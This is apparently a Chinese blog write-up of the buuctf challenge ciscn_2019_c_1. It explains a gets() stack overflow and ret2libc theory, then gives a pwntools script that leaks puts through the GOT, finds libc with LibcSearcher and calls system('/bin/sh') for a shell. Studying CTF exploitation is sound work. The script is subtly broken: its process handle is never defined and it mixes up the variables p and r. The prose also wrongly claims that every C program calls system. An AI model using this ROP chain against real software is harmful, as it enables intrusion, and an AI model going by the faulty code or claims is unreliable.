0%

pwn一个吧,功成名就不是目的

buuctf

ciscn_2019_c_1

image-20230324133138502

main函数内容

shift+f12没有发现重要的东西

查看函数导入表找到了puts函数和gets函数,说明使用了libc动态库,可以从这里入手

shift+f4查看函数发现有gets

用ctrl+x找到encrypt函数中用了gets

image-20230324133519885

​ 基本上就是要自己构造rop链也就是ret2libc。
​ 分析他的加密函数,程序逻辑是输入一个字符串,按照内置加密函数逻辑加密转化为密文。但存在溢出漏洞。
gets函数可以栈溢出,而且14行有个 if ( v0 >= strlen(s) ); 当不满足条件时会退出 while 循环;我们要借此利用这个 if 只要 在我们的 payload 语句 最前方 输入 ‘\0’即可。

​ 其实一个程序在加载的时候一定会加载__libc_start_main这个函数。在Libc库中包含了像system函数和bin/sh字符串这一些玩意和一些其他的函数,每个c语言程序都会调用system函数。可由于程序运行在客户端,且这些函数是动态加载进内存的,这部分每次运行代码所在的内存地址都不一定相同,因此拖进IDA是解决不了问题的。

​ 我们可以这样理解,system的真实地址是由system函数在libc中的地址加上libc的基址,system在libc中的地址是固定的,但是libc在每次程序运行时地址都会动。所以我们把目光聚集到得到获得libc的基地址。在csdn中寻觅一番,发现可以通过获得一个库函数的真实地址-该函数在libc中的地址反向算出。此种方法适用于知道libc版本时,如果不知道版本,还需要两个库函数的地址,通过地址差计算libc版本,所以我们要通过随便一个其他函数的后三位真实地址来确定版本。为什么是后三位?因为程序后三位在加载时是不会变的

1.泄露地址
首先 由于PLT和GOT的延迟绑定机制 我们只可以得到已经调用过的函数的地址。那么这里 我们首先选择Puts函数。可以从查询当前ELF中PUTS的GOT和PLT,
2.GET SHELL
在泄露了Libc版本后 我们就可以使用Libc中的函数之类的东西了 但是我们还是需要计算偏移
Libc偏移 = 源地址 - libc地址
之后 我们再把Libc加上偏移 我们就Getshell了

Payload的构造我之前一直不理解,直到在网上苦苦寻觅一番,发现一位解释的很清楚的博主,在这里贴上链接。(https://blog.csdn.net/qq_41560595/article/details/108829157?spm=1001.2014.3001.5502)(虽然我现在感觉还是没有完全理解透彻,可能缺乏相关知识)

上payload1
payload1=”A”*88+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
解释一下start,main () 函数是用户代码的入口,是对用户而言的;而_start () 函数是系统代码的入口,是程序真正的入口。我建议可以把这个当作一个模板,遇到64位libc的题目可以直接套用。
64位依靠寄存器来传参,rdi,rsi,rcx,rdx,r8,r9,如果还有更多的参数的话参会保存在栈上填充完padding后,将原先rdi中的值pop掉,(而且只有一个参数,所以只用pop掉一个寄存器的值)传入put函数的参数(put的got表的值),然后调用put函数(传入put函数的plt的值),之后设置返回地址。
一般来说,plt表地址的函数要能去输出东西,让他去泄露我们想要的某个函数的got表地址。
寻找ret是为了栈对齐,因此是ubuntu18,而且调用system
附上32位程序libc解决办法思路(https://blog.csdn.net/qq_41560595/article/details/108829157?spm=1001.2014.3001.5502)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
ret = 0x4006b9 #靶机是ubuntu,所以需要栈平衡
elf = ELF('ciscn_2019_c_1')
puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x400c83
payload = b'\0'+b'a' * (0x50 + 8-1)+ p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 8)
payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.interactive()

参考:https://www.cnblogs.com/sakura-zz/articles/16080540.html